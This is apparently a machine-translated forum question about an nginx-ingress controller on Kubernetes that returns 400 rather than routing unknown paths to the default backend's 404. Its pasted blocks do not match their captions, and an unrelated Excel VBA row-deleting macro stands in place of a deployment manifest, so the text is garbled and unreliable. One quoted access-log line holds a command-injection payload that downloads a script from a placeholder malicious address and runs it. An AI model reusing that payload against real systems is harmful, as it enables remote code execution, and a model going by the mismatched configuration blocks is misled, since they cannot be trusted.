我有一个问题，所有未知端点都由入口控制器本身返回400s。它不会将任何流量发送到默认后端。到达定义的入口点的其他流量正常。
我已经在我的入口控制器的日志中看到了这一点，因为每天晚上我都会得到看起来像是手动折衷尝试的外观，并且我认为攻击者（或脚本）一直在尝试，因为它们得到的是400而不是404。 ，然后假定它们不是端点时可能是可访问的端点。
我不确定这是由于我部署nginx-ingress-controller的方式还是由于我设置入口的方式。入口控制器实际上只是一个通用的Helm部署。
这是其部署清单的一部分：
Dim wsDE As Worksheet
Dim wsMasterList As Worksheet
Dim City As Range
Dim State As Range
Dim AgeL As Range
Dim AgeU As Range
Dim Gender As Range
Dim x As Long
Dim lastx As Long
Set wsDE = ThisWorkbook.Sheets("DataEntry")
Set wsMasterList = ThisWorkbook.Sheets("MasterList")
Set City = wsDE.Range("B1")
Set State = wsDE.Range("C1")
Set AgeL = wsDE.Range("D1")
Set AgeU = wsDE.Range("E1")
Set Gender = wsDE.Range("F1")
lastx = wsMasterList.Range("A" & wsMasterList.Rows.Count).End(xlUp).Row
wsMasterList.Range("A1").Select
For x = 2 To lastx
If wsMasterList.Range("A" & x) = vbNullString Then
wsMasterList.Range("A" & x).EntireRow.Delete
GoTo NX
End If
If City <> "N/A" Then
If wsMasterList.Range("I" & x).Value <> UCase(City) Then
wsMasterList.Range("I" & x).EntireRow.Delete
GoTo NX
End If
End If
If State <> "N/A" Then
If wsMasterList.Range("J" & x).Value <> UCase(State) Then
wsMasterList.Range("J" & x).EntireRow.Delete
GoTo NX
End If
End If
If AgeL <> "N/A" Then
If wsMasterList.Range("E" & x) < AgeL Then
wsMasterList.Range("E" & x).EntireRow.Delete
GoTo NX
End If
End If
If AgeU <> "N/A" Then
If wsMasterList.Range("E" & x) > AgeU Then
wsMasterList.Range("E" & x).EntireRow.Delete
GoTo NX
End If
End If
If Gender = "Male" Then
If wsMasterList.Range("D" & x) <> "M" Then
wsMasterList.Range("D" & x).EntireRow.Delete
GoTo NX
End If
End If
If Gender = "Female" Then
If wsMasterList.Range("D" & x) <> "F" Then
wsMasterList.Range("D" & x).EntireRow.Delete
GoTo NX
End If
End If
NX:
Next x
这是日志中的示例400，应该是404（任何地方都不存在“ login.cgi”端点）：
Name: fashionable-gopher-nginx-ingress-controller
Namespace: kube-system
CreationTimestamp: Tue, 03 Jul 2018 14:02:46 -0700
Labels: app=nginx-ingress
chart=nginx-ingress-0.20.3
component=controller
heritage=Tiller
release=fashionable-gopher
Annotations: deployment.kubernetes.io/revision=1
Selector: app=nginx-ingress,component=controller,release=fashionable-gopher
Replicas: 1 desired | 1 updated | 1 total | 1 available | 0 unavailable
StrategyType: RollingUpdate
MinReadySeconds: 0
RollingUpdateStrategy: 1 max unavailable, 1 max surge
Pod Template:
Labels: app=nginx-ingress
component=controller
release=fashionable-gopher
Service Account: fashionable-gopher-nginx-ingress
Containers:
nginx-ingress-controller:
Image: quay.io/kubernetes-ingress-controller/nginx-ingress-controller:0.14.0
Ports: 80/TCP, 443/TCP
Host Ports: 0/TCP, 0/TCP
Args:
/nginx-ingress-controller
--default-backend-service=kube-system/fashionable-gopher-nginx-ingress-default-backend
这是默认的后端：
10.244.3.1 - [10.244.3.1] - - [22/Aug/2018:23:52:35 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://some.malicious.ip.address/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 174 "-" "Hakai/2.0" 203 0.000 [] - - - -
最后，这是ingress控制器中nginx.conf的一些片段，我不是nginx.confs的专家，但对我来说似乎是正确的：
Name: fashionable-gopher-nginx-ingress-default-backend
Namespace: kube-system
CreationTimestamp: Tue, 03 Jul 2018 14:02:46 -0700
Labels: app=nginx-ingress
chart=nginx-ingress-0.20.3
component=default-backend
heritage=Tiller
release=fashionable-gopher
Annotations: deployment.kubernetes.io/revision=1
Selector: app=nginx-ingress,component=default-backend,release=fashionable-gopher
Replicas: 1 desired | 1 updated | 1 total | 1 available | 0 unavailable
StrategyType: RollingUpdate
MinReadySeconds: 0
RollingUpdateStrategy: 1 max unavailable, 1 max surge
Pod Template:
Labels: app=nginx-ingress
component=default-backend
release=fashionable-gopher
Containers:
nginx-ingress-default-backend:
Image: k8s.gcr.io/defaultbackend:1.3
一个注意事项：在设置我的第一个入口（用于其他域）之前，流量确实到达了我的默认后端并抛出404。
现在我该怎么做才能调试此问题，并弄清楚为什么这400个没有发送到我的默认后端？
修改：
这是默认控制器的部署定义：
...
upstream upstream-default-backend {
least_conn;
keepalive 32;
}
server 10.100.3.10:8080 max_fails=0 fail_timeout=0;
location / {
log_by_lua_block {
}
if ($scheme = https) {
more_set_headers "Strict-Transport-Security: max-age=15724800; includeSubDomains";
}
access_log off;
port_in_redirect off;
set $proxy_upstream_name "upstream-default-backend";
set $namespace "";
set $ingress_name "";
set $service_name "";
client_max_body_size "1m";
# In case of errors try the next upstream server before returning an error
proxy_next_upstream error timeout invalid_header http_502 http_503 http_504;
proxy_next_upstream_tries 0;
proxy_pass http://upstream-default-backend;
proxy_redirect off;
}
修改
这是我目前定义的唯一入口：
kubectl get deployment fashionable-gopher-nginx-ingress-default-backend -o yaml -n kube-system
apiVersion: extensions/v1beta1
kind: Deployment
metadata: annotations:
deployment.kubernetes.io/revision: "1"
creationTimestamp: 2018-07-03T21:02:46Z
generation: 1
labels:
app: nginx-ingress
chart: nginx-ingress-0.20.3
component: default-backend
heritage: Tiller
release: fashionable-gopher
name: fashionable-gopher-nginx-ingress-default-backend
namespace: kube-system resourceVersion:
progressDeadlineSeconds: 600 replicas: 1 revisionHistoryLimit: 10 selector:
matchLabels:
app: nginx-ingress
component: default-backend
release: fashionable-gopher strategy:
rollingUpdate:
maxSurge: 1
maxUnavailable: 1
type: RollingUpdate template:
metadata:
creationTimestamp: null
labels:
app: nginx-ingress
component: default-backend
release: fashionable-gopher
spec:
containers:
- image: k8s.gcr.io/defaultbackend:1.3
imagePullPolicy: IfNotPresent
livenessProbe:
failureThreshold: 3
httpGet:
path: /healthz
port: 8080
scheme: HTTP
initialDelaySeconds: 30
periodSeconds: 10
successThreshold: 1
timeoutSeconds: 5
name: nginx-ingress-default-backend
ports:
- containerPort: 8080
name: http
protocol: TCP
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
terminationGracePeriodSeconds: 60 status: availableReplicas: 1 conditions:
- lastTransitionTime: 2018-07-03T21:02:46Z
lastUpdateTime: 2018-07-03T21:02:46Z
message: Deployment has minimum availability.
reason: MinimumReplicasAvailable
status: "True"
type: Available
- lastTransitionTime: 2018-07-28T16:19:57Z
lastUpdateTime: 2018-07-28T16:22:06Z
message: ReplicaSet "fashionable-gopher-nginx-ingress-default-backend-5ffffffff"
has successfully progressed.
reason: NewReplicaSetAvailable
status: "True"
type: Progressing observedGeneration: 1 readyReplicas: 1 replicas: 1 updatedReplicas: 1
此入口是为主机名定义的，例如Name: default-myserver-ingress
Namespace: default
Address:
Default backend: default-http-backend:80 (<none>)
TLS:
myapp-tls-host-secrets terminates someapp.somehostname.com
Rules:
Host Path Backends
---- ---- --------
someapp.somehostname.com
/ my-api:8000 (<none>)
Annotations:
kubectl.kubernetes.io/last-applied-configuration: {"apiVersion":"extensions/v1beta1","kind":"Ingress","metadata":{"annotations":{"kubernetes.io/ingress.class":"nginx"},"name":"default-myserver-ingress","namespace":"default"},"spec":{"rules":[{"host":"someapp.somehostname.com","http":{"paths":[{"backend":{"serviceName":"my-api","servicePort":8000},"path":"/"}]}}],"tls":[{"hosts":["someapp.somehostname.com"],"secretName":"myapp-tls-host-secrets"}]}}
kubernetes.io/ingress.class: nginx
Events: <none>
。但是，这是一个CNAME。与该IP地址关联的someapp.somehostname.com记录正在获取我上面提到的有问题的流量（即使我的任何Ingress定义中都没有定义），并且该流量不会在默认情况下成为后端我认为应该是。这有道理吗？
修改：
这是A的结果：
kubectl get deployment fashionable-gopher-nginx-ingress-controller -n kube-system -o yaml